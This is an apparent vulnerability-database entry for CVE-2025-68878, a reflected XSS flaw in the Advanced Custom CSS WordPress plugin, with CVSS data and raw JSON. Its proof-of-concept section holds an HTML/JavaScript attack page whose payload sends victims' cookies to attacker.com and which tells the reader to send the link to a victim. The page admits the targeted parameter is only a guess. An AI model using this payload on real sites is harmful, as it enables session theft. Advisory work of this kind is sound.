Security Vulnerability Report
中文
CVE-2025-68878 CVSS 7.1 HIGH

CVE-2025-68878

Published: 2025-12-29 16:15:43
Last Modified: 2026-04-23 15:36:11

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in prasadkirpekar Advanced Custom CSS advanced-custom-css allows Reflected XSS.This issue affects Advanced Custom CSS: from n/a through <= 1.1.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Advanced Custom CSS plugin (prasadkirpekar) <= 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68878 PoC: Reflected XSS in WordPress Advanced Custom CSS Plugin --> <!-- Target: WordPress site with advanced-custom-css plugin <= 1.1.0 --> <!-- Attack Vector: Inject JavaScript via URL parameter --> <!DOCTYPE html> <html> <head> <title>CVE-2025-68878 PoC</title> </head> <body> <h2>CVE-2025-68878 - Reflected XSS PoC</h2> <!-- Malicious URL that exploits the reflected XSS vulnerability --> <p>Malicious URL:</p> <code id="maliciousUrl"></code> <script> // Construct the malicious URL targeting the vulnerable endpoint // Replace 'TARGET_URL' with the actual WordPress site URL const targetUrl = 'TARGET_URL'; const maliciousPayload = '<script>alert("XSS - CVE-2025-68878");document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // The vulnerable parameter may vary depending on plugin implementation // Common vulnerable parameters in CSS plugins include: 'tab', 'section', 'custom_css' const vulnerableEndpoint = targetUrl + '/wp-admin/admin.php?page=advanced-custom-css&tab=' + encodeURIComponent(maliciousPayload); document.getElementById('maliciousUrl').textContent = vulnerableEndpoint; // Alternative payload for cookie stealing const altPayload = '" onmouseover="alert(document.cookie)" x="'; console.log('Alternative payload:', altPayload); // Display instructions console.log('=== CVE-2025-68878 PoC ==='); console.log('1. Replace TARGET_URL with the vulnerable WordPress site'); console.log('2. Send the malicious URL to the victim'); console.log('3. When victim clicks, XSS payload will execute'); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68878", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:43.017", "lastModified": "2026-04-23T15:36:11.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in prasadkirpekar Advanced Custom CSS advanced-custom-css allows Reflected XSS.This issue affects Advanced Custom CSS: from n/a through <= 1.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/advanced-custom-css/vulnerability/wordpress-advanced-custom-css-plugin-1-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}